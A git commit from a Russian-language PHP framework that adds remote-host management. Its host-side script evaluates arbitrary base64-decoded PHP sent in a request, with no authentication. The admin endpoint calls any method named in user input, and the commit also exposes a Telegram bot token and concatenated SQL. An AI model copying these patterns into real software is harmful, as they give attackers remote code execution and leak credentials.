закоммитил правки
This commit is contained in:
1 parent
4387d38dce
commit
0ad5080edc
14 files changed
+2254
-12
No files matched your search
Generated
+19
@@ -28,6 +28,25 @@
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/symfony/polyfill-php80" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/symfony/http-client-contracts" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/ralouphie/getallheaders" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/vimeo/psalm" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/felixfbecker/language-server-protocol" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/felixfbecker/advanced-json-rpc" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/phpdocumentor/type-resolver" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/symfony/string" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/symfony/console" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/openlss/lib-array2xml" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/nikic/php-parser" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/amphp/byte-stream" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/amphp/amp" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/webmozart/path-util" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/webmozart/assert" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/phpdocumentor/reflection-docblock" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/phpdocumentor/reflection-common" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/netresearch/jsonmapper" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/sebastian/diff" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/dnoegel/php-xdg-base-dir" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/symfony/polyfill-intl-grapheme" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/vendor/symfony/polyfill-intl-normalizer" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
|
||||
Generated
+24
@@ -32,9 +32,33 @@
|
||||
<path value="$PROJECT_DIR$/vendor/symfony/polyfill-php80" />
|
||||
<path value="$PROJECT_DIR$/vendor/symfony/http-client-contracts" />
|
||||
<path value="$PROJECT_DIR$/vendor/ralouphie/getallheaders" />
|
||||
<path value="$PROJECT_DIR$/vendor/vimeo/psalm" />
|
||||
<path value="$PROJECT_DIR$/vendor/felixfbecker/language-server-protocol" />
|
||||
<path value="$PROJECT_DIR$/vendor/felixfbecker/advanced-json-rpc" />
|
||||
<path value="$PROJECT_DIR$/vendor/phpdocumentor/type-resolver" />
|
||||
<path value="$PROJECT_DIR$/vendor/symfony/string" />
|
||||
<path value="$PROJECT_DIR$/vendor/symfony/console" />
|
||||
<path value="$PROJECT_DIR$/vendor/openlss/lib-array2xml" />
|
||||
<path value="$PROJECT_DIR$/vendor/nikic/php-parser" />
|
||||
<path value="$PROJECT_DIR$/vendor/amphp/byte-stream" />
|
||||
<path value="$PROJECT_DIR$/vendor/amphp/amp" />
|
||||
<path value="$PROJECT_DIR$/vendor/webmozart/path-util" />
|
||||
<path value="$PROJECT_DIR$/vendor/webmozart/assert" />
|
||||
<path value="$PROJECT_DIR$/vendor/phpdocumentor/reflection-docblock" />
|
||||
<path value="$PROJECT_DIR$/vendor/phpdocumentor/reflection-common" />
|
||||
<path value="$PROJECT_DIR$/vendor/netresearch/jsonmapper" />
|
||||
<path value="$PROJECT_DIR$/vendor/sebastian/diff" />
|
||||
<path value="$PROJECT_DIR$/vendor/dnoegel/php-xdg-base-dir" />
|
||||
<path value="$PROJECT_DIR$/vendor/symfony/polyfill-intl-grapheme" />
|
||||
<path value="$PROJECT_DIR$/vendor/symfony/polyfill-intl-normalizer" />
|
||||
</include_path>
|
||||
</component>
|
||||
<component name="PhpProjectSharedConfiguration" php_language_level="7.4">
|
||||
<option name="suggestChangeDefaultLanguageLevel" value="false" />
|
||||
</component>
|
||||
<component name="Psalm">
|
||||
<Psalm_settings>
|
||||
<PsalmConfiguration tool_path="$PROJECT_DIR$/vendor/bin/psalm" />
|
||||
</Psalm_settings>
|
||||
</component>
|
||||
</project>
|
||||
@@ -0,0 +1,51 @@
|
||||
<?php
|
||||
/**
|
||||
* Copyright (c) 2022 Roman Grinko <rsgrinko@gmail.com>
|
||||
* Permission is hereby granted, free of charge, to any person obtaining
|
||||
* a copy of this software and associated documentation files (the
|
||||
* "Software"), to deal in the Software without restriction, including
|
||||
* without limitation the rights to use, copy, modify, merge, publish,
|
||||
* distribute, sublicense, and/or sell copies of the Software, and to
|
||||
* permit persons to whom the Software is furnished to do so, subject to
|
||||
* the following conditions:
|
||||
* The above copyright notice and this permission notice shall be included
|
||||
* in all copies or substantial portions of the Software.
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
||||
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
|
||||
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
|
||||
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
||||
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
*/
|
||||
|
||||
use Core\ExternalServices\RemoteHosts;
|
||||
|
||||
require_once __DIR__ . '/../inc/bootstrap.php';
|
||||
|
||||
if(!isset($_REQUEST['hosts'])) {
|
||||
die('Площадки не выбраны');
|
||||
}
|
||||
|
||||
if(!isset($_REQUEST['cmd'])) {
|
||||
die('Команда не задана');
|
||||
}
|
||||
|
||||
$hostsList = $_REQUEST['hosts'];
|
||||
$cmd = $_REQUEST['cmd'];
|
||||
$result = [];
|
||||
|
||||
|
||||
foreach($hostsList as $host) {
|
||||
$objectHost = new RemoteHosts();
|
||||
$objectHost->selectHost((int)$host);
|
||||
$result[(int)$host] = [
|
||||
'host' => $objectHost->getHostData(),
|
||||
'result' => $objectHost->$cmd(),
|
||||
];
|
||||
unset($objectHost);
|
||||
}
|
||||
|
||||
echo '<pre>';
|
||||
print_r($result);
|
||||
echo '</pre>';
|
||||
+122
@@ -0,0 +1,122 @@
|
||||
<?php
|
||||
/**
|
||||
* Copyright (c) 2022 Roman Grinko <rsgrinko@gmail.com>
|
||||
* Permission is hereby granted, free of charge, to any person obtaining
|
||||
* a copy of this software and associated documentation files (the
|
||||
* "Software"), to deal in the Software without restriction, including
|
||||
* without limitation the rights to use, copy, modify, merge, publish,
|
||||
* distribute, sublicense, and/or sell copies of the Software, and to
|
||||
* permit persons to whom the Software is furnished to do so, subject to
|
||||
* the following conditions:
|
||||
* The above copyright notice and this permission notice shall be included
|
||||
* in all copies or substantial portions of the Software.
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
||||
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
|
||||
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
|
||||
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
||||
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
*/
|
||||
|
||||
use Core\Helpers\Pagination;
|
||||
use Core\ExternalServices\RemoteHosts;
|
||||
|
||||
require_once __DIR__ . '/inc/header.php';
|
||||
?>
|
||||
<div class="pageheader">
|
||||
<div class="media">
|
||||
<div class="pageicon pull-left">
|
||||
<i class="fa fa-home"></i>
|
||||
</div>
|
||||
<div class="media-body">
|
||||
<ul class="breadcrumb">
|
||||
<li><a href=""><i class="glyphicon glyphicon-home"></i></a></li>
|
||||
<li>Список удаленных площадок</li>
|
||||
</ul>
|
||||
<h4>Список площадок</h4>
|
||||
</div>
|
||||
</div><!-- media -->
|
||||
</div><!-- pageheader -->
|
||||
|
||||
<div class="contentpanel">
|
||||
<!-- table -->
|
||||
<div class="row">
|
||||
<div class="col-md-12r">
|
||||
<form id="hostsForm">
|
||||
<div class="table-responsive">
|
||||
<table class="table table-primary table-hover mb30">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Выбор</th>
|
||||
<th>ID</th>
|
||||
<th>Статус</th>
|
||||
<th>URL</th>
|
||||
<th>Название</th>
|
||||
<th>Hostname</th>
|
||||
<th>Дата создания</th>
|
||||
<th>Дата обновления</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<?php
|
||||
Pagination::execute($_REQUEST['page'], RemoteHosts::getAllCount(), PAGINATION_LIMIT);
|
||||
$limit = Pagination::getLimit();
|
||||
|
||||
$arHosts = RemoteHosts::getHosts($limit);
|
||||
foreach ($arHosts as $elHost) {
|
||||
$hostObject = (new RemoteHosts())->selectHost($elHost['id']);
|
||||
?>
|
||||
<tr>
|
||||
<td><input type="checkbox" name="hosts[]" value="<?= $elHost['id'] ?>"></td>
|
||||
<td><?= $elHost['id'] ?></td>
|
||||
<td><?php if ($hostObject->isOnline()) { ?>
|
||||
<span class="badge badge-success">Online</span></td>
|
||||
<?php } else { ?>
|
||||
<span class="badge badge-danger">Offline</span></td>
|
||||
<?php } ?>
|
||||
<td><?= $elHost['url'] ?></td>
|
||||
<td><?= $elHost['name'] ?></td>
|
||||
<td><?= $hostObject->getHostname() ?></td>
|
||||
<td><?= $elHost['date_created'] ? date('d.m.Y H:i:s', strtotime($elHost['date_created'])) : '-'; ?></td>
|
||||
<td><?= $elHost['date_updated'] ? date('d.m.Y H:i:s', strtotime($elHost['date_updated'])) : '-'; ?></td>
|
||||
</tr>
|
||||
<?php
|
||||
}
|
||||
?>
|
||||
</tbody>
|
||||
</table>
|
||||
</div><!-- table-responsive -->
|
||||
<select name="cmd" class="form-control">
|
||||
<option value="getUname">uname -a</option>
|
||||
<option value="getUptime">uptime</option>
|
||||
<option value="getHostname">hostname</option>
|
||||
<option value="gethostInfo">Получить информацию о площадке</option>
|
||||
</select>
|
||||
<button class="btn btn-success form-control" id="execute">Выполнить</button>
|
||||
</form>
|
||||
<div class="result" id="result"></div>
|
||||
<?php Pagination::show('page') ?>
|
||||
</div>
|
||||
</div>
|
||||
<!-- end table -->
|
||||
</div><!-- contentpanel -->
|
||||
<script>
|
||||
$(document).ready(function(){
|
||||
var resultBox = $('#result');
|
||||
$('#hostsForm').on('submit', function (e) {
|
||||
e.preventDefault();
|
||||
|
||||
$.post(
|
||||
'./ajax/executeRemoteHost.php',
|
||||
$('#hostsForm').serialize(),
|
||||
|
||||
function(data) {
|
||||
resultBox.html(data);
|
||||
}
|
||||
);
|
||||
|
||||
});
|
||||
});
|
||||
</script>
|
||||
<?php require_once __DIR__ . '/inc/footer.php'; ?>
|
||||
@@ -247,6 +247,7 @@
|
||||
<li><a href="/admin/users.php"><i class="fa fa-home"></i> <span>Список пользователей</span></a></li>
|
||||
<li><a href="/admin/groups.php"><i class="fa fa-home"></i> <span>Список ролей</span></a></li>
|
||||
<li><a href="/admin/cacheInfo.php"><i class="fa fa-home"></i> <span>Кэширование</span></a></li>
|
||||
<li><a href="/admin/hosts.php"><i class="fa fa-home"></i> <span>Управление хостами</span></a></li>
|
||||
<li><a href="/admin/threads.php"><i class="fa fa-home"></i> <span>Диспетчер очереди</span></a></li>
|
||||
<li><a href="/admin/phpcmd.php"><i class="fa fa-home"></i> <span>Командная PHP строка</span></a></li>
|
||||
<li><a href="index.html"><i class="fa fa-home"></i> <span>Dashboard</span></a></li>
|
||||
|
||||
@@ -27,5 +27,8 @@
|
||||
"ext-gd": "*",
|
||||
"ext-exif": "*",
|
||||
"ext-mbstring": "*"
|
||||
},
|
||||
"require-dev": {
|
||||
"vimeo/psalm": "^4.27"
|
||||
}
|
||||
}
|
||||
Generated
+1550
-2
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,263 @@
|
||||
<?php
|
||||
/**
|
||||
* Copyright (c) 2022 Roman Grinko <rsgrinko@gmail.com>
|
||||
* Permission is hereby granted, free of charge, to any person obtaining
|
||||
* a copy of this software and associated documentation files (the
|
||||
* "Software"), to deal in the Software without restriction, including
|
||||
* without limitation the rights to use, copy, modify, merge, publish,
|
||||
* distribute, sublicense, and/or sell copies of the Software, and to
|
||||
* permit persons to whom the Software is furnished to do so, subject to
|
||||
* the following conditions:
|
||||
* The above copyright notice and this permission notice shall be included
|
||||
* in all copies or substantial portions of the Software.
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
||||
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
|
||||
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
|
||||
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
||||
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
*/
|
||||
|
||||
/**
|
||||
* Класс для управления удаленными хостами
|
||||
*
|
||||
* @version 1.0.1
|
||||
* @author Roman Grinko <rsgrinko@gmail.com>
|
||||
*/
|
||||
|
||||
namespace Core\ExternalServices;
|
||||
|
||||
use Core\CoreException;
|
||||
use Core\Models\DB;
|
||||
|
||||
class RemoteHosts
|
||||
{
|
||||
private const TABLE = 'remote_hosts';
|
||||
|
||||
private ?int $selectedHostId;
|
||||
|
||||
private array $selectedHostParams = [];
|
||||
|
||||
/** @var string $method Метод */
|
||||
private string $method;
|
||||
|
||||
/** @var array $params Параметры */
|
||||
private array $params = [];
|
||||
|
||||
/** @var int $httpCode Код ответа */
|
||||
private int $httpCode = 0;
|
||||
|
||||
/** @var array $response Ответ */
|
||||
private array $response = [];
|
||||
|
||||
|
||||
public function __construct()
|
||||
{
|
||||
}
|
||||
|
||||
/**
|
||||
* @throws CoreException
|
||||
*/
|
||||
public static function getHosts(string $limit = '10', string $sort = 'ASC'): array
|
||||
{
|
||||
/** @var DB $DB Объект БД */
|
||||
$DB = DB::getInstance();
|
||||
$res = $DB->query('SELECT * FROM `' . self::TABLE . '` ORDER BY `id` ' . $sort . ' LIMIT ' . $limit);
|
||||
return $res ?? [];
|
||||
}
|
||||
|
||||
public static function getAllCount(): int
|
||||
{
|
||||
/** @var DB $DB Объект БД */
|
||||
$DB = DB::getInstance();
|
||||
$res = $DB->query('SELECT count(id) as count FROM ' . self::TABLE);
|
||||
if ($res !== null) {
|
||||
return (int)$res[0]['count'];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
public function getHostData(): array
|
||||
{
|
||||
/** @var DB $DB Объект БД */
|
||||
$DB = DB::getInstance();
|
||||
$res = $DB->getItem(self::TABLE, ['id' => $this->selectedHostId]);
|
||||
if ($res !== null) {
|
||||
return $res;
|
||||
}
|
||||
return [];
|
||||
}
|
||||
|
||||
public function selectHost(int $id): self
|
||||
{
|
||||
/** @var DB $DB Объект БД */
|
||||
$DB = DB::getInstance();
|
||||
$this->selectedHostParams = $DB->getItem(self::TABLE, ['id' => $id]);
|
||||
$this->selectedHostId = $id;
|
||||
return $this;
|
||||
}
|
||||
|
||||
private function sendRequest()
|
||||
{
|
||||
$queryFields = array_merge(['cmd' => $this->method], $this->params);
|
||||
|
||||
$ch = curl_init($this->selectedHostParams['url']);
|
||||
curl_setopt($ch, CURLOPT_POST, 1);
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, $queryFields);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
||||
curl_setopt($ch, CURLOPT_HEADER, false);
|
||||
$res = curl_exec($ch);
|
||||
$this->httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
||||
curl_close($ch);
|
||||
$result = json_decode($res, true);
|
||||
if (!empty($result)) {
|
||||
$this->response = $result;
|
||||
} else {
|
||||
$this->response = [];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Установка метода
|
||||
*
|
||||
* @param string $method Метод
|
||||
*
|
||||
* @return self
|
||||
*/
|
||||
public function setMethod(string $method): self
|
||||
{
|
||||
$this->method = $method;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Установка параметров
|
||||
*
|
||||
* @param array $params Параметры
|
||||
*
|
||||
* @return self
|
||||
*/
|
||||
public function setParams(array $params): self
|
||||
{
|
||||
$this->params = $params;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Выполнить
|
||||
*
|
||||
* @return $this
|
||||
*/
|
||||
public function execute(): self
|
||||
{
|
||||
$this->sendRequest();
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Получить ответ
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
public function getResponse(): array
|
||||
{
|
||||
return $this->response;
|
||||
}
|
||||
|
||||
/**
|
||||
* Получить результат выполнения
|
||||
*
|
||||
* @return mixed
|
||||
*/
|
||||
public function getResponseData()
|
||||
{
|
||||
return $this->response['data'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Получить код ответа
|
||||
*
|
||||
* @return int
|
||||
*/
|
||||
public function getHttpCode(): int
|
||||
{
|
||||
return $this->httpCode;
|
||||
}
|
||||
|
||||
/**
|
||||
* Проверка площадки на доступность
|
||||
*/
|
||||
public function isOnline(): bool
|
||||
{
|
||||
$this->method = 'ping';
|
||||
$this->execute();
|
||||
return $this->getResponseData() === 'pong';
|
||||
}
|
||||
|
||||
/**
|
||||
* Выполнение произвольного кода
|
||||
*
|
||||
* @param string $code Код
|
||||
*/
|
||||
public function eval(string $code)
|
||||
{
|
||||
$this->method = 'eval';
|
||||
$this->params = [
|
||||
'evalString' => base64_encode($code),
|
||||
];
|
||||
$this->execute();
|
||||
return $this->getResponseData();
|
||||
}
|
||||
|
||||
/**
|
||||
* Выполнение произвольного кода
|
||||
*/
|
||||
public function ping()
|
||||
{
|
||||
$this->method = 'ping';
|
||||
$this->execute();
|
||||
return $this->getResponseData();
|
||||
}
|
||||
|
||||
/**
|
||||
* Получение информации о площадке
|
||||
*/
|
||||
public function getHostInfo()
|
||||
{
|
||||
$this->method = 'getHostInfo';
|
||||
$this->execute();
|
||||
return $this->getResponseData();
|
||||
}
|
||||
|
||||
/**
|
||||
* Получение hostname площадки
|
||||
*/
|
||||
public function getHostname()
|
||||
{
|
||||
$this->method = 'getHostInfo';
|
||||
$this->execute();
|
||||
return $this->getResponseData()['hostname'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Получение uptime площадки
|
||||
*/
|
||||
public function getUptime()
|
||||
{
|
||||
$this->method = 'getHostInfo';
|
||||
$this->execute();
|
||||
return $this->getResponseData()['uptime'];
|
||||
}
|
||||
|
||||
/**
|
||||
* Получение uname площадки
|
||||
*/
|
||||
public function getUname()
|
||||
{
|
||||
$this->method = 'getHostInfo';
|
||||
$this->execute();
|
||||
return $this->getResponseData()['uname'];
|
||||
}
|
||||
|
||||
}
|
||||
@@ -683,4 +683,60 @@
|
||||
|
||||
echo $twig->render('index.tpl', ['name' => 'Roman']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Сравнение текстов
|
||||
*
|
||||
* @param array $old Старый текст
|
||||
* @param array $new Новый текст
|
||||
*
|
||||
* @return array|array[]
|
||||
*/
|
||||
public static function diffText(array $old, array $new): array
|
||||
{
|
||||
$matrix = [];
|
||||
$maxlen = 0;
|
||||
foreach ($old as $oindex => $ovalue) {
|
||||
$nkeys = array_keys($new, $ovalue);
|
||||
foreach ($nkeys as $nindex) {
|
||||
$matrix[$oindex][$nindex] = isset($matrix[$oindex - 1][$nindex - 1]) ? $matrix[$oindex - 1][$nindex - 1] + 1 : 1;
|
||||
if ($matrix[$oindex][$nindex] > $maxlen) {
|
||||
$maxlen = $matrix[$oindex][$nindex];
|
||||
$omax = $oindex + 1 - $maxlen;
|
||||
$nmax = $nindex + 1 - $maxlen;
|
||||
}
|
||||
}
|
||||
}
|
||||
if ($maxlen === 0) {
|
||||
return [['d' => $old, 'i' => $new]];
|
||||
}
|
||||
return array_merge(
|
||||
self::diffText(array_slice($old, 0, $omax), array_slice($new, 0, $nmax)),
|
||||
array_slice($new, $nmax, $maxlen),
|
||||
self::diffText(array_slice($old, $omax + $maxlen), array_slice($new, $nmax + $maxlen))
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Сравнение текстов и отдача HTML результата
|
||||
*
|
||||
* @param string $old Старый текст
|
||||
* @param string $new Новый текст
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public static function htmlDiffText(string $old, string $new): string
|
||||
{
|
||||
$result = '';
|
||||
$diff = self::diffText(preg_split('/[\s]+/', $old), preg_split('/[\s]+/', $new));
|
||||
foreach ($diff as $k) {
|
||||
if (is_array($k)) {
|
||||
$result .= (!empty($k['d']) ? '<del style="background: red;color: white;">' . implode(' ', $k['d']) . '</del> ' : '')
|
||||
. (!empty($k['i']) ? '<ins style="background: #009d22;color: white;">' . implode(' ', $k['i']) . '</ins> ' : '');
|
||||
} else {
|
||||
$result .= $k . ' ';
|
||||
}
|
||||
}
|
||||
return $result;
|
||||
}
|
||||
}
|
||||
@@ -193,13 +193,15 @@
|
||||
if($i < 1 ) {
|
||||
throw new CoreException('Новых шуток не найдено');
|
||||
}
|
||||
return 'Добавлено ' . $i . ' шуток из ' . count($arJokes);
|
||||
|
||||
return ['method' => __FUNCTION__, 'status' => 'OK', 'message' => 'Добавлено ' . $i . ' шуток из ' . count($arJokes)];
|
||||
}
|
||||
|
||||
public static function anekdot2()
|
||||
{
|
||||
$result = 'Ничего нового не добавлено';
|
||||
/** @var DB $DB */
|
||||
//$result = 'Ничего нового не добавлено';
|
||||
$result = null;
|
||||
/** @var DB $DB */
|
||||
$DB = DB::getInstance();
|
||||
|
||||
/**
|
||||
@@ -236,7 +238,10 @@
|
||||
$result = 'Добавлен новый элемент с ID ' . $itemId;
|
||||
}
|
||||
|
||||
return $result;
|
||||
if (empty($result)) {
|
||||
throw new CoreException('Ничего нового не добавлено');
|
||||
}
|
||||
return ['method' => __FUNCTION__, 'status' => 'OK', 'message' => $result];
|
||||
}
|
||||
|
||||
|
||||
@@ -335,4 +340,10 @@ DELETE from `jokes` WHERE `jokes`.id not in (SELECT id FROM t_temp);'
|
||||
return 'Обновление не требуется';
|
||||
}
|
||||
}
|
||||
|
||||
public static function test(string $cmd, array $params = [])
|
||||
{
|
||||
$res = file_get_contents('https://dev.it-stories.ru/test.php?cmd=' . $cmd . '&' . http_build_query($params));
|
||||
return $res;
|
||||
}
|
||||
}
|
||||
@@ -80,7 +80,7 @@
|
||||
/**
|
||||
* Лимит количества запущенных воркеров
|
||||
*/
|
||||
const WORKERS_LIMIT = 5;
|
||||
const WORKERS_LIMIT = 2;
|
||||
|
||||
/**
|
||||
* @var DB|null $DB Объект базы
|
||||
@@ -349,7 +349,7 @@
|
||||
}
|
||||
return;
|
||||
}
|
||||
$this->run(true);
|
||||
//$this->run(true);
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -9,6 +9,20 @@
|
||||
<meta name="description" content="Delta Framework">
|
||||
<meta name="author" content="Delta Framework">
|
||||
|
||||
<script src="https://browser.sentry-cdn.com/7.11.1/bundle.tracing.min.js"></script>
|
||||
<script>
|
||||
Sentry.init({
|
||||
dsn: "https://546e581a22f440e4b905c1d91764196a@o1303100.ingest.sentry.io/6684916",
|
||||
// this assumes your build process replaces `process.env.npm_package_version` with a value
|
||||
release: "delta-front@1.0.1",
|
||||
integrations: [new Sentry.BrowserTracing()],
|
||||
|
||||
// We recommend adjusting this value in production, or using tracesSampler
|
||||
// for finer control
|
||||
tracesSampleRate: 1.0,
|
||||
});
|
||||
</script>
|
||||
|
||||
<!-- mobile specific metas
|
||||
================================================== -->
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
||||
|
||||
@@ -19,9 +19,99 @@
|
||||
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
||||
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
*/
|
||||
$_SERVER['DOCUMENT_ROOT'] = '/home/rsgrinko/sites/dev.it-stories.ru';
|
||||
require_once $_SERVER['DOCUMENT_ROOT'] . '/core/bootstrap.php';
|
||||
|
||||
use Core\MQTasks;
|
||||
//$_SERVER['DOCUMENT_ROOT'] = '/home/rsgrinko/sites/dev.it-stories.ru';
|
||||
//require_once $_SERVER['DOCUMENT_ROOT'] . '/core/bootstrap.php';
|
||||
|
||||
class HostFunctions
|
||||
{
|
||||
public static $cmd = 'default';
|
||||
|
||||
public static function toOut($data, $status = 'success')
|
||||
{
|
||||
$result = [
|
||||
'status' => $status,
|
||||
'cmd' => self::$cmd,
|
||||
'time' => time(),
|
||||
'data' => $data,
|
||||
];
|
||||
header('Content-Type: application/json; charset=utf-8');
|
||||
echo json_encode($result, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||
}
|
||||
|
||||
public static function getHostInfo()
|
||||
{
|
||||
$result = [];
|
||||
$output = [];
|
||||
exec('free -h', $output, $code);
|
||||
$result['memory'] = implode(PHP_EOL, $output);
|
||||
|
||||
$output = [];
|
||||
exec('cat /proc/cpuinfo', $output, $code);
|
||||
$result['cpuinfo'] = implode(PHP_EOL, $output);
|
||||
|
||||
$output = [];
|
||||
exec('uname -a', $output, $code);
|
||||
$result['uname'] = implode(PHP_EOL, $output);
|
||||
|
||||
$output = [];
|
||||
exec('hostname', $output, $code);
|
||||
$result['hostname'] = implode(PHP_EOL, $output);
|
||||
|
||||
$output = [];
|
||||
exec('uptime', $output, $code);
|
||||
$result['uptime'] = implode(PHP_EOL, $output);
|
||||
|
||||
$result['ip'] = $_SERVER['SERVER_ADDR'];
|
||||
|
||||
return $result;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
$commandList = [
|
||||
'ping',
|
||||
'getHostInfo',
|
||||
'getHostIp',
|
||||
'eval',
|
||||
];
|
||||
$command = $_REQUEST['cmd'] ?? 'default';
|
||||
HostFunctions::$cmd = $command;
|
||||
switch ($command) {
|
||||
case 'getCommands':
|
||||
HostFunctions::toOut($commandList);
|
||||
break;
|
||||
case 'ping':
|
||||
HostFunctions::toOut('pong');
|
||||
break;
|
||||
case 'getHostInfo':
|
||||
$result = HostFunctions::getHostInfo();
|
||||
HostFunctions::toOut($result);
|
||||
break;
|
||||
|
||||
case 'getHostIp':
|
||||
HostFunctions::toOut($_SERVER['SERVER_ADDR']);
|
||||
break;
|
||||
|
||||
case 'eval':
|
||||
$evalString = isset($_REQUEST['evalString']) ? base64_decode($_REQUEST['evalString']) : null;
|
||||
if ($evalString === null) {
|
||||
HostFunctions::toOut('No eval string', 'error');
|
||||
} else {
|
||||
ob_start();
|
||||
try {
|
||||
eval($evalString);
|
||||
$result = ob_get_clean();
|
||||
} catch (Throwable $t) {
|
||||
$result = 'Error on line ' . $t->getLine() . ': ' . $t->getMessage();
|
||||
ob_clean();
|
||||
}
|
||||
HostFunctions::toOut($result);
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
HostFunctions::toOut('Command not found', 'error');
|
||||
break;
|
||||
}
|
||||
|
||||
echo MQTasks::sendJokeToTelegram();
|
||||
@@ -0,0 +1,40 @@
|
||||
<?php
|
||||
|
||||
function sendRequest(string $method, array $request = []): array
|
||||
{
|
||||
$ch = curl_init('https://api.telegram.org/bot1667667369:AAGv5Y1mLTndb1JEzwjzQ1yeelox2NRamR0/' . $method);
|
||||
curl_setopt($ch, CURLOPT_POST, 1);
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
||||
curl_setopt($ch, CURLOPT_HEADER, false);
|
||||
$res = curl_exec($ch);
|
||||
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
||||
curl_close($ch);
|
||||
$res = json_decode($res, true);
|
||||
if (empty($res) || $res['ok'] !== true) {
|
||||
die($res['description'] . ' | ' . $res['error_code']);
|
||||
}
|
||||
return $res;
|
||||
}
|
||||
|
||||
//sendRequest('deleteWebhook');
|
||||
$arUpdates = sendRequest('getUpdates?offset=');
|
||||
$result = $arUpdates['result'];
|
||||
if(isset($result['update_id'])) {
|
||||
$result[] = $result;
|
||||
}
|
||||
$update_id = '';
|
||||
|
||||
|
||||
|
||||
$res = [];
|
||||
foreach ($result as $element) {
|
||||
if(isset($element['message']['from']['id']) && !empty($element['message']['from']['id'])) {
|
||||
$res[] = sendRequest(
|
||||
'sendMessage',
|
||||
['chat_id' => $element['message']['from']['id'], 'parse_mode' => 'html', 'text' => 'Ответ бота']
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
print_r($result);
|
||||
Reference in new issue
Block a user